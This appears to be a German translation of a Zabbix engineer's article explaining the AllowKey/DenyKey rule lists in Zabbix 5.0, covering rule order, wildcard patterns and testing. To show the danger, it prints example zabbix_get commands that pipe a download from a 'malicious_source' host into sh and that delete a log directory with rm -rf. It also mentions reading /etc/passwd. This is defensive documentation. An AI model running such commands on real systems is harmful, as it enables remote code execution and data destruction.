Unterstützung für schwarze und weiße Listen für Metriken auf der Agentenseite in Zabbix 5.0.

Unterstützung für schwarze und weiße Listen für Metriken auf der Agentenseite in Zabbix 5.0.

Unterstützung von Schwarz- und Weißlisten für Agent-metriken

Tikhon Uskov, Integrationsingenieur, Zabbix

Sicherheitsprobleme bei Daten

In Zabbix 5.0 wurde eine neue Funktion eingeführt, die die Sicherheit in Systemen mit Zabbix Agent verbessert und den alten Parameter ersetzt. EnableRemoteCommands.

Die Verbesserung der Sicherheit von Systemen mit Agenten liegt daran, dass der Agent eine Vielzahl von potenziell gefährlichen Aktionen ausführen kann.

  • Der Agent kann nahezu jede Art von Informationen sammeln, einschließlich vertraulicher oder potenziell gefährlicher Daten, aus Konfigurationsdateien, Protokolldateien, Passwortdateien oder anderen Dateien.

Zum Beispiel kann mit dem Tool zabbix_get auf die Benutzerdaten, ihre Home-Verzeichnisse, Passwortdateien usw. zugegriffen werden.

Unterstützung für schwarze und weiße Listen für Metriken auf der Agentenseite in Zabbix 5.0.

Zugriff auf Daten mit dem Tool zabbix_get

HINWEIS. Daten können nur abgerufen werden, wenn der Agent über Lesezugriff auf die entsprechende Datei verfügt.. Aber zum Beispiel ist die Datei /etc/passwd/ für alle Benutzer lesbar.

  • Der Agent kann auch potenziell gefährliche Befehle ausführen. Zum Beispiel der Schlüssel *system.run[]** ermöglicht die Ausführung beliebiger Remote-Befehle auf Netzwerk-Knoten, einschließlich der Ausführung von Skripten über die Weboberfläche von Zabbix, die ebenfalls Befehle auf der Seite des Agenten ausführen.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Unter Linux wird der Agent standardmäßig ohne Root-Rechte gestartet, während er unter Windows als Dienst im Namen von System ausgeführt wird und uneingeschränkten Zugriff auf das Dateisystem hat. Daher hat der Agent, sofern nach der Installation keine Änderungen an den Zabbix-Agenten-Einstellungen vorgenommen werden, Zugriff auf die Registrierung, das Dateisystem und kann WMI-Abfragen ausführen.

In früheren Versionen erlaubte der Parameter EnableRemoteCommands=0 nur das Deaktivieren von Metriken mit dem Schlüssel *system.run[]** und die Ausführung von Skripten über die Weboberfläche, bot jedoch keine Möglichkeit, den Zugriff auf einzelne Dateien einzuschränken, bestimmte Schlüssel, die zusammen mit dem Agenten eingerichtet wurden, zu erlauben oder zu verbieten oder die Verwendung bestimmter Parameter einzuschränken.

Unterstützung für schwarze und weiße Listen für Metriken auf der Agentenseite in Zabbix 5.0.

Die Verwendung des Parameters EnableRemoteCommand in früheren Versionen von Zabbix

AllowKey/DenyKey

Zabbix 5.0 hilft, sich vor solchem unbefugten Zugriff zu schützen, dank Weiß- und Schwarze Listen zur erlaubten und verbotenen Metrik auf der Seite des Agenten.

In Zabbix 5.0 sind alle Schlüssel, einschließlich *system.run[]**, erlaubt, und zwei neue Agenten-Konfigurationsparameter wurden hinzugefügt:

AllowKey= — erlaubte Überprüfungen;

DenyKey= — verbotene Überprüfungen;

wo — das Muster des Schlüsselnamens mit Parametern, das Platzhalter (* ) verwendet.

Die Schlüssel AllowKey und DenyKey ermöglichen es, bestimmte Metriken basierend auf einem bestimmten Muster zu erlauben oder zu verbieten. Im Gegensatz zu anderen Konfigurationsparametern ist die Anzahl der Parameter AllowKey/DenyKey nicht begrenzt. Dies ermöglicht eine klare Definition dessen, was der Agent im System tun kann, durch die Erstellung eines Regelbaums — durchgeführte Schlüssel, bei dem die Reihenfolge ihrer Auflistung eine sehr wichtige Rolle spielt.

Regelreihenfolge

Die Regeln werden in der Reihenfolge überprüft, in der sie in die Konfigurationsdatei eingegeben wurden. Die Überprüfung des Schlüssels anhand der Regeln erfolgt bis zur ersten Übereinstimmung, und sobald der Schlüssel eines Datenelements mit dem Muster übereinstimmt, wird er erlaubt oder verboten. Danach wird die Überprüfung der Regeln gestoppt und die übrigen Schlüssel ignoriert.

Daher, wenn ein Element sowohl einer erlaubenden als auch einer verbotenen Regel entspricht, hängt das Ergebnis davon ab, welche Regel zuerst in der Konfigurationsdatei steht.

Unterstützung für schwarze und weiße Listen für Metriken auf der Agentenseite in Zabbix 5.0.

2 verschiedene Regeln mit demselben Muster und Schlüssel vfs.file.size[/tmp/file]

Reihenfolge der Verwendung der Schlüssel AllowKey/DenyKey:

  1. genaue Regeln,
  2. allgemeine Regeln,
  3. verbotsregel.

Zum Beispiel, wenn Sie Zugang zu Dateien in einem bestimmten Ordner benötigen, müssen Sie zunächst den Zugang dazu erlauben, bevor Sie alles andere verbieten, das nicht unter die festgelegten Berechtigungen fällt. Wenn zuerst eine Verbotsregel verwendet wird, wird der Zugang zum Ordner verweigert.

Unterstützung für schwarze und weiße Listen für Metriken auf der Agentenseite in Zabbix 5.0.

Richtige Reihenfolge

Wenn es erforderlich ist, den Start von 2 Tools über * zu erlauben,system.run[]**, und wenn zunächst eine Verbotsregel angegeben wird, werden die Tools nicht gestartet, da das erste Muster immer mit jedem Schlüssel übereinstimmt und die nachfolgenden Regeln ignoriert werden.

Unterstützung für schwarze und weiße Listen für Metriken auf der Agentenseite in Zabbix 5.0.

Falsche Reihenfolge

Muster

Hauptregeln

Ein Muster ist ein Ausdruck mit Platzhaltern (Wildcard). Das Metazeichen (*) entspricht einer beliebigen Anzahl von beliebigen Zeichen an einer bestimmten Position. Platzhalter können sowohl im Schlüsselnamen als auch in den Parametern verwendet werden. Zum Beispiel kann der erste Parameter fest als Text definiert werden, während der nachfolgende als Wildcard angegeben werden kann..

Die Parameter müssen in eckigen Klammern [] eingeschlossen werden.

  • system.run[* — ungültig
  • vfs.file*.txt] — ungültig
  • vfs.file.*[*] — gültig

Beispiele für die Verwendung von Wildcards.

  1. Im Schlüsselnamen und im Parameter. In diesem Fall entspricht der Schlüssel nicht dem ähnlichen Schlüssel, der keinen Parameter enthält, da wir im Muster angegeben haben, dass wir ein bestimmtes Ende des Schlüsselnamens und eine bestimmte Parametergruppe erhalten möchten.
  2. Wenn im Muster keine eckigen Klammern verwendet werden, erlaubt das Muster alle Schlüssel, die keine Parameter enthalten, und verbietet alle Schlüssel mit dem angegebenen Parameter.
  3. Wenn der Schlüssel vollständig angegeben ist und die Parameter als Wildcard definiert sind, entspricht er jedem ähnlichen Schlüssel mit beliebigen Parametern und wird nicht mit einem Schlüssel ohne eckige Klammern übereinstimmen, d. h. er wird entweder erlaubt oder verboten.

Unterstützung für schwarze und weiße Listen für Metriken auf der Agentenseite in Zabbix 5.0.

Regeln für das Ausfüllen der Parameter.

  • Falls die Verwendung eines Schlüssels mit Parametern vorgesehen ist, müssen die Parameter in der Konfigurationsdatei angegeben werden. Die Parameter sollten als Platzhalter definiert werden. Der Zugriff auf eine Datei muss vorsichtig eingeschränkt werden, und es ist zu beachten, welche Informationen die Metrik bei verschiedenen Schreibvarianten – mit oder ohne Parameter – zurückgeben kann.

Unterstützung für schwarze und weiße Listen für Metriken auf der Agentenseite in Zabbix 5.0.

Besonderheiten bei der Definition von Schlüsseln mit Parametern

  • Wenn der Schlüssel mit Parametern angegeben ist, die jedoch optional sind und als Platzhalter definiert sind, wird der Schlüssel ohne Parameter akzeptiert. Beispielsweise, wenn Sie verhindern möchten, dass Informationen zur CPU-Auslastung abgerufen werden, und der Schlüssel system.cpu.load[*] gesperrt werden soll, denken Sie daran, dass der Schlüssel ohne Parameter den Durchschnittswert der Auslastung zurückgibt.

Unterstützung für schwarze und weiße Listen für Metriken auf der Agentenseite in Zabbix 5.0.

Regeln für die Parameterbelegung

Notizen

Konfiguration

  • Einige Regeln können vom Benutzer nicht geändert werden, wie z. B. die Entdeckungs- (discovery) oder die Auto-Registrierungsregeln für Agenten. Die Regeln AllowKey/DenyKey betreffen nicht die folgenden Parameter:
    — HostnameItem
    — HostMetadataItem
    — HostInterfaceItem

HINWEIS. Wenn der Administrator einen Schlüssel sperrt, gibt Zabbix bei der Anfrage keine Informationen darüber aus, warum die Metrik oder der Schlüssel in die Kategorie ‘NOTSUPPORTED‘ fällt. In den Log-Dateien des Agents werden Informationen über das Verbot der Ausführung von Remote-Befehlen ebenfalls nicht angezeigt. Dies geschieht aus Sicherheitsgründen, kann jedoch die Fehlersuche erschweren, wenn Metriken aus irgendwelchen Gründen in die nicht unterstützte Kategorie fallen..

  • Man sollte nicht auf eine bestimmte Reihenfolge beim Einbinden externer Konfigurationsdateien (z. B. in alphabetischer Reihenfolge) zählen.

Eingabeaufforderungs-Tools

Nach der Konfiguration der Regeln muss sichergestellt werden, dass alles korrekt eingerichtet ist.

Es gibt drei Optionen:

  • Fügen Sie Metriken zu Zabbix hinzu.
  • Testen mit zabbix_agentd. Der Zabbix-Agent mit der Option -print (-p) zeigt alle Schlüssel (die standardmäßig erlaubt sind), mit Ausnahme derjenigen, die durch die Konfiguration nicht zulässig sind. Mit der Option -test (-t) wird für einen gesperrten Schlüssel ‘Unsupported item key‘.
  • Testen mit zabbix_get. Das Tool zabbix_get mit der Option -k gibt ‘ZBX_NOTSUPPORTED: Unknown metric‘.

Erlauben oder verweigern

Sie können den Zugriff auf die Datei verweigern und beispielsweise mit dem Tool zabbix_get, überprüfen, dass der Zugriff auf die Datei verweigert wird.

Unterstützung für schwarze und weiße Listen für Metriken auf der Agentenseite in Zabbix 5.0.

**

HINWEIS. Anführungszeichen im Parameter werden ignoriert.

Der Zugriff auf eine solche Datei kann jedoch über einen anderen Pfad erlaubt werden. Zum Beispiel, wenn ein Symlink darauf verweist.

Unterstützung für schwarze und weiße Listen für Metriken auf der Agentenseite in Zabbix 5.0.

Es wird empfohlen, verschiedene Anwendungsmöglichkeiten der festgelegten Regeln zu überprüfen und die Möglichkeiten von Umgehungen zu berücksichtigen.

Fragen und Antworten

Frage. Warum wurde ein so komplexes Schema mit einer eigenen Sprache zur Beschreibung von Regeln, Berechtigungen und Verboten gewählt? Warum gab es keine Möglichkeit, reguläre Ausdrücke zu verwenden, wie sie Zabbix nutzt?

Antwort. Es geht um die Leistung von Regex, da in der Regel nur ein Agent vorhanden ist, der eine enorme Anzahl von Metriken überprüft. Regex ist eine recht ressourcenintensive Operation, und wir können nicht tausende von Metriken auf diese Weise überprüfen. Wildcards sind eine universelle, weit verbreitete und einfache Lösung..

Frage. Werden Include-Dateien nicht alphabetisch geladen?

Antwort. Soweit ich weiß, ist es tatsächlich unmöglich, die Reihenfolge der Anwendung von Regeln vorherzusagen, wenn Sie die Regeln auf verschiedene Dateien verteilen. Ich empfehle, alle AllowKey/DenyKey-Regeln in einer einzigen Include-Datei zusammenzufassen, da sie miteinander interagieren, und diese Datei dann einzubinden..

Frage. In Zabbix 5.0 ist die Option 'EnableRemoteCommands=' in der Konfigurationsdatei nicht vorhanden und nur AllowKey/DenyKey verfügbar.

Antwort. Ja, das ist korrekt..

Vielen Dank für Ihre Aufmerksamkeit!

Quelle: habr.com

Zuverlässiges Webhosting mit DDoS-Schutz, VPS- und VDS-Server kaufen 🔥 Zuverlässiges Webhosting mit DDoS-Schutz, VPS- und VDS-Server kaufen | ProHoster